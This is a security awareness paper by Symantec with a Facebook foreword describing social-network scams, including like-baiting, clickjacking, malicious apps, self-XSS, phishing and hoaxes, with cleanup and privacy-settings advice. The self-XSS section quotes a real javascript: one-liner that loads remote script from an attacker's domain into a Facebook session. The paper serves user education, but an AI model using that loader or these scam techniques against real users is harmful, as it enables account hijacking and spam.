Foreword

At Facebook, we work hard to protect the people that use our service. We invest in equipment, develop proprietary tools, create innovative security features and devote hundreds of employees around the world to keep you and your data safe. But we can’t do this alone, which is why we worked on a guide with our friends at Symantec to educate people on the most prevalent threats we are seeing and the best ways for users to keep their data safe while online.

We process a huge amount of content to protect the people on Facebook – every single day we vet over 26 billion pieces of content and 2 trillion link clicks. But with more than 800 million people visiting our site each month and more than 400 million visiting every day, Facebook has become an ever more attractive target for spammers and scammers. That’s why more than three hundred Facebook security engineers and hundreds of user operations personnel work around the clock to keep you and your data safe.

By embracing advanced technology, our engineers work to ensure that using Facebook is a secure experience. We have several internal systems to discover, disarm, and disable threats. However, not all the security mechanisms operate behind the scenes and we want to empower everyone to control their Facebook experience by using the power of social connections to keep you and your data safe. Some of these are on for everyone by default, and others allow people to choose what level of security best fits their lifestyle. We encourage people to visit the Facebook Security Page or our Help Center to learn about these tools.

But even with all of these resources, we still need your help to keep our site safe. We all have a part to play in keeping the Web safe, and making sure we only click or share links we trust is a huge part of that. Please read the guide and let your friends know what you’ve found out. Thanks again to Symantec for their expertise and efforts in helping keep the people who use Facebook safe.
Summary

Social networks are an inherent part of today’s Internet. With more than 800 million registered accounts, Facebook is the largest social network in use at the moment. For many people it has become the primary medium for sharing ideas and interacting with friends. It is also becoming a booming attack ground for malware authors and scammers. By taking advantage of the users’ trust in their network of relationships, they are spreading malicious code and sending spam messages. Most of the attacks that we currently see use social engineering tricks to spread their messages to thousands of users. Besides reposting spam messages to friends, this can lead to scam surveys or malicious sites. The following paper will illustrate and discuss the most prevalent issues and threats targeting the Facebook network today, as well as provide help in choosing the right configuration settings.

Introduction

This paper discusses different aspects of both spam and scam attacks that we have observed in Facebook, ranging from advertisement spam to redirecting lures for drive-by malware sites. The focus will be on scams spreading in the social network rather than attacks against the framework implementation or privacy leaks.

Facebook is working hard to combat these issues, with a dedicated security team focused on eliminating attacks in the social network and their self-created Facebook Immune System (FIS). They are constantly adding new features and improving security settings. Therefore some of the examples mentioned in this paper no longer work, having been mitigated by such changes. None of the discussed attacks are Facebook-specific, and could happen in a similar form on other social networks.

Attack types

The attacks usually start with a method to grab the user’s attention. This is often done with a status message update on a friend’s Timeline, direct chat messages, or calendar event invitations. Newer attacks make use of IP geo-location services, bringing in localized context such as the visitor’s city name. Other scams will display your real name and some of your friend’s names to make the bait appear more credible. Clicking the link, or interacting with the bait page, leads to another site that contains the payload of the attack. In 2011 Facebook started to use third-party services like the Web of Trust URL reputation service to analyze any direct link leaving the facebook.com domain. This means that if the scam is already well-known and classified, the URL will likely be on Web of Trust’s blacklist and Facebook will warn the user when clicking on it. According to Facebook, they block 220 million messages with malicious links every day. Unfortunately these scams vary the URLs frequently so that often there is no blocking rating for new scams when they first appear. Some of the newer services use heuristics to block even previously unknown malicious links, but there will always be some URLs that are not blocked. In order to bypass these filters, we have even seen attackers use cross-site scripting vulnerabilities on trusted domains to forward to malicious pages.

The themes meant to trick users are often reused. Popular ones include:

- Find out who viewed your profile or deleted you from their account.
- Some shocking video or image of some person or accident.
- Get free points for online games or gift cards for various shops.

Most attacks discussed here require the user to be logged into his or her account. Since many users are permanently logged into their accounts, or at least of the time when seeing the bait messages, this prerequisite is usually fulfilled.

We encourage users to report spam and scam messages to Facebook through the reporting button. This helps preventing the scams from propagating further. Symantec will also work with Facebook to detect and alert users to potentially malicious URLs on the site, helping to provide a safer experience for members.
Like/share-baiting

**Type:** Light social engineering  
**Result:** User liking a link

This is the most commonly encountered type of scam at the moment. The user is asked to manually like or share the rogue site in order to get access to some promised content. For example, the user has to Like the page before an enticing video is shown. This is the identical behavior that any legit brand site can use as well, so it is very hard to distinguish between malicious and legit use. Obviously the scenarios are endless where the user is asked to Like a page before he or she can participate at a contest or see a video.

In the same category is the variation where the malicious page asks the user to post a given message at least five times on Facebook before access to the special content is given.

Next, the user is often forwarded to a cost-per-action (CPA) survey before the promised content is shown. These surveys are not malicious per-se and can also be used on legitimate sites. Some of the external pages mimic the look and feel of Facebook to increase their credibility. Here the scammers are misusing them, through affiliate services, in order to get clicks or illicit participation from the user. They often mask the survey as a mandatory “security test”, which they are not. Most of these surveys are free to fill out but might require some personal information to be shared. For every user that fills out a survey the author behind it gets commission money which can be from $0.50–$20, depending on the required work from the user. We have also seen links to ringtone subscription services and similar expensive premium content. Of course normal banner ads can also be used by the attacker to earn money.
Another variation of this type of scam lures the user with free gift cards for online shops or restaurants. In order to receive the voucher the user is asked to share the site with his or her friends and provide some personal information. The fine print states that the user has to subscribe to a few sponsored offers in order to get the voucher. Sometimes there actually is a real gift card or voucher involved in the end, but only after expensive subscriptions are accepted.

**Recommendations:** Users should be vigilant when asked to like links or sites in order to get access to some content. When asked to provide personal information or fill out surveys, they should be skeptical and rethink if it is worth the time and risk. Users should be aware that the subscribed services are often not free and that the personal information handed out might be used for further advertisement. Users can use the “report/mark as spam” link to inform Facebook about dubious pages.

### Like clickjacking

**Type:** Social engineering / deception  
**Result:** User liking a link

“Like” clickjacking is an attack where the user is asked to click on some places on a page, but is not aware that he or she is actually clicking on an invisible iframe tag that is overlaying the page. The invisible layer contains the Facebook Like button, with a prefilled text and a link of the attacker’s choice. For example, the user thinks he or she is starting a video with a click, but in reality he or she is liking a link. Some pages even ask the user to click multiple times, generating multiple actions with the different clicks. The same applies to the “share” button, or any similar features on other social networks.

This attack was once very popular, but its appearances have declined since Facebook introduced some modifications on the backend in 2011 in order to prevent clickjacking. If the user is tricked by an invisible Like frame, this may now lead to a new pop-up window being opened, clearly visible to the user. This acts as a verification process to ensure that the user knows what they are about to share. It can either contain a CAPTCHA or display the normal like window with all information about the link. There are still some cases where clickjacking works with no popup warning being generated. We expect that there will be some adaptations in the future to prevent those attacks, including changes in the browser itself.

With the introduction of HTML 5 there are a few new tags available that can help to protect against clickjacking attacks. The final implementation will show if those tags can help minimize the risk of clickjacking attacks in social networks, especially since there is a deliberate wish to have things like the Like button accessible to many sites in various ways, making it harder to protect.

Another variation of this scam pretended to be a CAPTCHA. When the user entered the word shown, he or she actually submitted a comment to a message. This scam type no longer works in this way.
**Recommendations:** Users should be careful when clicking on links received or seen in messages, especially if a sensational message promotes a video or image, even if the message comes from a friend. Be skeptical when asked to click multiple times on specific regions. Security tools, like the NoScript extension for Firefox, or modern security suites can help block clickjacking attacks. You can also visit [https://www.facebook.com/help/myths](https://www.facebook.com/help/myths) for information on the most prevalent Facebook myths.

**Malicious (iFrame) application**

**Type:** Social engineering  
**Result:** Read and write access to the user’s account.

This is one of the oldest social network scams that we have seen in the wild. At the end of 2010 this was the most prevalent scam. Since then its use dropped massively, and currently ranks in third place. The user is tricked into installing malicious Facebook applications, giving them the right to post in the name of the user, access his or her messages, or send chat messages to friends, depending on the rights granted to it.

The starting page with the bait message can be hosted anywhere, such as:
- A Facebook application page
- A Facebook Pages of interest
- A Facebook event
- A remote site

The message points to the application canvas site at http://apps.facebook.com/[CANVAS_NAME]/, as specified by the attacker. A canvas page is like an empty page in Facebook where the remote Facebook application will be embedded. It allows users to find the application on Facebook and takes care of all the loading of the remote content in the background. The canvas name can be freely chosen by the application author and is part of the URI. This site will check if the user already installed the app and if not, redirect him or her to a permission dialog box. The permission dialog page displays all the information that the application wants the right to access, and allows the user to decide if he or she wants to grant this permission to the application. Of course the attacker can avoid using an application at all and just use the application page for another social engineering attack, like a phishing login site. This works pretty well, since the domain it appears under is well-trusted and is indeed the real facebook.com domain. If a user cancels the permission prompt, another trick is to previously specify a malicious URL as the redirect location.

The typical permissions that such an application will ask for are:
- offline_access  
  Access my data any time—In order to get an access_token.
- publish_stream  
  Post to Facebook at me—In order to create posts in the name of the user.
Scams and Spam to Avoid on Facebook

Security Response

• email
  Send me email—In order to access the user’s real email address.
• xmpp_login
  Access Facebook Chat—In order to log in to the chat.

Once the user grants the permission to the application it can post to the user’s Timeline (if publish_stream permissions were granted). This allows the scam to send bait messages to friends or post them to the user’s Timeline. Since this is done on the remote site, the script can dynamically be updated with new links and messages. The script can also store all personal data that the user shares with the application. This can also include information from friends.

We have seen a few attack waves that use fast-flux structures, with rotating links and a few hundred applications, in order to bypass blacklistng by Facebook. Some of the scams use multiple URL-shortening services, which all point to the same destination or add randomization, like random sub-domains or URL arguments in order to make it harder to filter and block. Some of the malicious applications were online for up to a few weeks, deceiving a few hundred-thousand users.

The content of the application is typically hosted on remote sites, loaded in an iframe tag when visiting Facebook. In order to create a new application, an author needs a verified Facebook account. This can be achieved by SMS message verification to a mobile number or by using a credit card. Of course attackers can also misuse phished accounts that are already verified or use stolen credit cards to verify accounts.

Finally, the user is forwarded to a new site before the promised content is shown. This can either be a CPA survey or a malicious site with links to misleading applications or a drive-by download attack.

Most of these scam applications are generated by toolkits like Tinie or NeoApp, which are built upon the PHP Facebook SDK. These toolkits are promoted as legal marketing tools that can help companies to stay in touch with their Facebook fans. Unfortunately most can easily be misused to automatically send out scam messages and redirect users. Not all of these toolkits support the OAuth 2.0 authentication scheme, required since October 2011, and therefore do no longer work.

Recommendations: Users should be careful when installing applications. Double check if the permissions requested are really needed. If in doubt, do not install. Before filling out any surveys users should check if it’s really worth it and if it is not a scam.

Self-XSS copy/paste attacks

Type: Social engineering
Result: Temporary read and write access to the user’s account.

In this scenario, the user is tricked into copying malicious JavaScript into the address bar of the browser and executing it under the context of the facebook.com domain. This is kind of a self-inflicted, cross-site scripting attack. We have seen many different variants on how the script is presented to the user. For example:

• A text-area form field the user has to select and copy.
• A button that will copy a hidden script to the clipboard and instructions for pasting it.
• An SWF-based Flash movie that copies a script to the clipboard.
• A hidden, drag-and-drop DHTML element containing a script, which is dropped into the address bar.
Some sites even show step-by-step video guides, hosted on YouTube. Others have animated images that explain the user exactly what he or she has to do. The images are either hosted locally on the script site or on free image host sites.

The pasted script will usually add a script tag to the DOM structure of facebook.com and then load another, more complex JavaScript script from a remote site.

Example:

```javascript
javascript:(a=(b=document).createElement('script')).src='//[REMOVED]edwards.com/germnan.php?'+Math.random(),b.body.appendChild(a);void(0)
```

The final JavaScript loaded will usually try to do some of the following things:

- Post bait messages on the user’s and friends’ Timeline.
- Post bait comments to other messages on the user’s Timeline.
- Send chat messages to friends who are online.
- Send event invitations for scam events to friends.

Basically the script can misuse the current active session of the user and iterate through friends and post whatever it wants, with some limitations on number of actions during a set time period, as imposed by Facebook.

An interesting variation of this scam was discovered in the summer of 2011, where the user is asked to find the anti-CSRF (Cross-Site Request Forgery) token from Facebook and submit it to the attacker. Passing on the randomly generated token allows the attacker to misuse the authenticated session of the user and post to the user’s Timeline. There were also cases where malicious browser extensions executed malicious JavaScript each time a user visited his or her profile site on Facebook.

Facebook has added some back-end detection for manual script scams and is actively teaching users how to avoid those scams. When Facebook detects that there are automated postings, they will log the current user out of Facebook (canceling his or her session) and display some help messages the next time he or she logs in. How-

Figure 9

Manual script attack form field
ever scripts with limited actions, like only posting to the user’s own Timeline, still work as of the end of November 2011. We expect that there might still be some tweaking involved on both sites.

**Recommendations:** Users should never copy and paste unknown scripts into the address bar of their browser, even if the message came from a friend. Before filling out any surveys they should consider whether the content is legitimate and worth the effort, especially when it involves sharing personal information.

**Tagging**

**Type:** Spam

**Result:** A spam message being displayed.

Depending on your profile settings, other people can tag you in pictures. That means if they recognize you somewhere they can mark you with your name and you will receive a notification informing you that this person has tagged you. Unfortunately there is no guarantee that it is really you. Some scam waves made the rounds where someone uploaded advertisement spam pictures and started tagging random people in it. Since the tagged user gets a notification and since people are curious the chances are very high that they will click on the link to see the picture, and therefore read the spam message. The content was often advertisements for restaurants or for online shops for sports shoes. Similar, but not as successful, where attempts to check in people in random places using the Location feature.

**Recommendations:** When redirected to spam messages through image tagging, users should consider adding that user to the block list and disabling image tagging notification. Users should also review the tagging settings in the account settings.

**Phishing**

**Type:** Social Engineering

**Result:** Full read and write access to a user account.

Phishing attacks are by no means a new concept, but they work just as well on social networks as they do on other sites. They come in various forms, such as fake email notifications that tell you that you have a friend request pending, or that your profile was suspended. If you follow the link in the email you are brought to a site that mimics the original Facebook login page, but in reality is a scam that will record your password before forwarding you to the real Facebook site. We have also seen other variants used in the wild, such as bait messages about alleged videos from friends that point to phishing sites, or custom subpages on Facebook that mimic the official login page. The last ones make it harder for the user to spot the scam, since the address bar will show the real Facebook domain.

**Recommendations:** Users should be careful when clicking on links they receive or see in messages. Users should ensure that they only enter account data on the official login page and do not interact with suspicious emails that they receive claiming to be from Facebook. If you think your account has been compromised, visit [https://www.facebook.com/help/hacked](https://www.facebook.com/help/hacked) for advice.
Hoax

As with every Internet communication medium, there are hoax messages passed around within Facebook. Usually they are exaggerated stories that a user is asked to share with his or her friends. There are no links involved and the user is not tricked into visiting any survey or malicious site. Their purpose is to spread fear and alienate the user. Unfortunately they can spread like a plague itself, scattering false rumors about a computer virus that is making its rounds. Doing so can lead to desensitizing the user and they might ignore real warnings in the future.

Here is an example of a hoax message:

It’s official.. signal at 12;20 it even passed on tv. Facebook will start charging this summer.If you copy this on your wall your icon will turn blue and facebook will be free for you. Please pass this message if not your count will be deleted. p.s, this is serious the icon turns blue, So please put this on your wall.

Recommendations: Users should refrain from re-posting hoax messages on their profile site. If a story provides no verifiable proof, and hustles the user into reposting it to all his or her friends, then it might be a hoax message.

Various scams and spams

Unfortunately the attackers are constantly coming up with new methods, and twists on older ones, for spreading their messages. Below are some short summaries of other scams that have been seen in the wild in social networks.

- Hijacked accounts that post messages that the user is stuck in a foreign country and urgently needs some money sent to him. This is a typical 419 money transfer scam. Do not react to it.
- Groups or pages that heavily promote and advertise fake products and promise discounts on original goods. These scams are similar to classic email spam messages, only advertised in various places throughout Facebook.
- Malware that specifically targets social networks, such as W32.Koobface.
- Impersonated accounts that pose as trusted friends, automatically adding all common friends in order to get to the information not shared with everyone. Always make sure that you know who you add as a friend, as opposed to an imposter.

Cleaning up

If you have fallen victim to one of the above-mentioned scams there are a few things that you can and should do. We listed a few tips in the following sections.

Remove the offending posts

If you have scam posts on your Timeline you can delete them, just like any other posts you want to get rid of. Log into your account, go to your Timeline, and click the pencil icon on the right side of the post in question. The popup menu allows you to either remove the post or, if there is a suspicious application involved, remove the corresponding application as well. The latter option is usually the best choice, since it will also remove all its posts from your Timeline. If the posts appear because you liked a page, you might have to click “view individual stories” before you can unlike it and delete the post. We also encourage people to report such messages as spam in order to help Facebook block these messages in the future.
Remove offending applications

If you have accidently installed a malicious application, or if you are not sure and simply want to check what applications you are using, you can find this in your account settings. Log in to Facebook and navigate to Account Settings > Apps.

There you will find all the applications that are currently installed in your account. Over time you may have accumulated many applications. Therefore it is best to review all of them and remove suspicious applications (or those no longer used) by clicking the X button. This will also revoke any access tokens that you may have granted to these applications. Of course any information that the application had access to earlier on may already have been copied to a remote site. This is against Facebook’s policies, but if it’s a malicious author, they probably don’t care much.

Change your password

If you think that your account has been compromised, or that you have fallen victim to a phishing attack, then it is a good idea to change the password for your social media account. This helps limit the damage that a compromised account can do and ensures that the attacker can no longer log in, copy your data, or post scam messages in your name.

Also remember not to use the same passwords on multiple services on the Internet, because if one of them gets compromised, revealing the password, attackers will try your email/password combination on other services. You can use password managers or passphrase generation tactics to ensure that an account being compromised does not automatically affect other accounts. For example you can take a proverb which is easy to remember and use the initial letter of each word in combination with the punctuation at the end. This will generate a strong, random-looking password that you can still memorize.

If you suspect that your account has been hacked you can also ask Facebook for help.

Settings guide

This section highlights a few configuration tips that can help users to set the security and privacy settings for their personal profiles. Some of the settings depend heavily on personal opinion and attitude. Facebook also offers an explanation and guidance for the different settings. The following tips are based on the features offered by Facebook in February 2012. With the addition of new features over time, new settings may appear and old ones might disappear. To start off, you can reach the menus mentioned below when logged in and clicking the top, right menu marked with a drop down arrow.
Privacy settings

Your default privacy

On the Privacy Settings page in your account you can define who has access to your posts, pictures, and other information. There are three main categories that you can choose from, depending on your personal preferences: Public, Friends, and Custom. Friends is usually a good choice. The Custom feature allows you to set the access more granularly down to a list of specified people. Keep in mind that you cannot control cases where a friend of your friends reposts an image or information from you to other people.

If you are getting spammed over and over again from the same user, you can block him or her, and even report him to Facebook, using the Block List feature.

How you connect

This setting allows you to decide who can find you when searching for your name or who can send you messages. For example if you do not want your friends to be able to post to your Timeline, then you can disable this in here.

How tags work

In this window you can define if posts that others have tagged you in will automatically appear on your Timeline. By default this feature is disabled. When enabled you will have to grant permission for each post before it is visible on your profile. A similar option for image tags is enabled by default. The Tag Review option allows you to review tags that friends add to your content before they appear on Facebook. When someone who you’re not friends with adds a tag to one of your posts you’ll always be asked to review it.

On the same page is the “Friends can check me into places” option. This allows your friends to check you into locations you visit. Of course they could also check you into locations that you are not present.
Apps and Websites

On this page you can control the installed applications, as discussed in Remove offending applications. Furthermore, you can set which information is accessible to applications that your friends are using. By default, all except two categories are shared. This means if one of a friend falls victim to a malicious application that collects information about his or her friends, your data might be copied without your knowledge. This setting does not influence your friend’s capability to see the corresponding information.

Another settings option is Instant personalisation. This feature is currently enabled by default in Facebook and will submit your identity to registered and approved third-party sites when visited. The list includes websites like TripAdvisor, Yelp, and Pandora. These sites will receive your Facebook UID on each visit, allowing them to customize their appearance for you. The site can also perform enquires on the backend, receiving your profile picture, your name, and your friends list. On the first visit to one of the supported sites a Facebook application gets silently added to your account. The list of supported third-party sites is increased from time to time without clear notification to the user. If you keep this option enabled on unsecure networks it may lead to your identity being exposed to others who are sniffing the network, since those third-party sites rarely use SSL for this exchange.

On the same page you can also enable and disable the Public search option. Enabling this feature will allow anyone to find you in search engines and see your profile picture and the public information of your account.

Account settings

Secure browsing in Account Security

It is advisable to turn on the secure browsing feature in Account Settings -> Security, which is off by default. This is useful because otherwise it is possible for attackers to sniff an active Web session, as with most Web applications, and hijack it when no network transportation encryption is used. This is a likely scenario in public hotspots where anyone on the same WLAN can listen to the network traffic of other users. There are even easy-to-use attack tools like the FireSheep plug-in for Firefox that automates the hijacking of active sessions for various services. Once a session is taken over the attacker can post in the name of the user or carry out other shenanigans with the account. Since some Facebook applications do not yet support SSL, this will generate a warning prompt before they can be used, though they are still usable in normal HTTP mode.
Login approvals in account security

If you rarely use your account from public computers, or if you want to be on the safe side, then you can enable the Login Notifications and Login Approvals options in Account Settings > Security. This will send you a notification email if your account was used from an unrecognized computer. Login approval goes one step further and sends a confirmation code by text message to your registered mobile phone, which needs to be entered when an unrecognized computer attempts to access your account. Some Facebook Apps do not work with login approval, but you can still securely log into these Apps by using an app password instead of your Facebook account password. In the App Password setting you can generate individual passwords for specific applications.

Security question

It is always a good idea to setup a security question that will help you access your account, in case you forget your password or an attacker changes it. But you need to ensure that the security question cannot easily be answered with information readily available on your profile. Questions like what is your pet's name or what is your favorite football team are generally not good questions, being easy guessable by an attacker. Currently Facebook does not allow you to create your own question. Nevertheless, you can create your passphrase answer independently of this and it does not need to have anything to do with the original question, so long as you are able to remember it.

In the future you will also be able to have a temporary password be sent to preselected trusted friends, in order to get access to your account again.

Passwords

In today's world using strong passwords for your account should be self-evident. Just as important is to not use the same password on multiple services. If one service is broken into, all can be broken into, as mentioned in the Change your password section. There are various ways you can handle strong passwords—from passwords manager tools to passphrase creation strategies. We have published various guidelines on how to choose strong passwords. If you have a registered mobile phone then you can use it to receive one-time-passwords from Facebook for login. This ensures that even if a keylogger snatches your password it will be of no use to the attacker.

Conclusion

Social networks like Facebook, with many active users, are an attractive playground for attackers. There is a multitude of possible attack vector for scammers. From harmless-looking status update messages to applications with malicious intent, nearly everything is possible and many are already misused.

Most of the attacks seen rely heavily on social engineering components in order to lure the user into clicking on a link. Often a sensational story is used to catch the user’s attention, with a shortened link to more details. An even higher level of trust can be built up by sending the message from a compromised account in a user’s friends list. Unfortunately people are curious and hundreds of thousand people will click on promising-looking links. This vector is very difficult to block with technical measures.

Most of the currently active scams will propagate themselves to connected friends by posting or sharing the link again, before redirecting the user to a survey site. For each filled-out survey the attacker earns a commission, allowing him or her to profit. There have been some cases where the user was redirected to malicious sites with misleading applications or even drive-by download sites that tried to install malware through browser exploits.

Facebook is actively working to block those attacks as early as possible. In combination with proactive detections from a reputable security solution, the user can be shielded from the most prevalent threats. In addition, users should be skeptical when seeing hyped-up messages in social networks, even if they seem to be posted by trusted friends. Also many users are not aware who can see their posted messages. We therefore recommend reviewing the personal privacy settings and perform adjustments if necessary. This will lead to a much safer and pleasant social networking experience.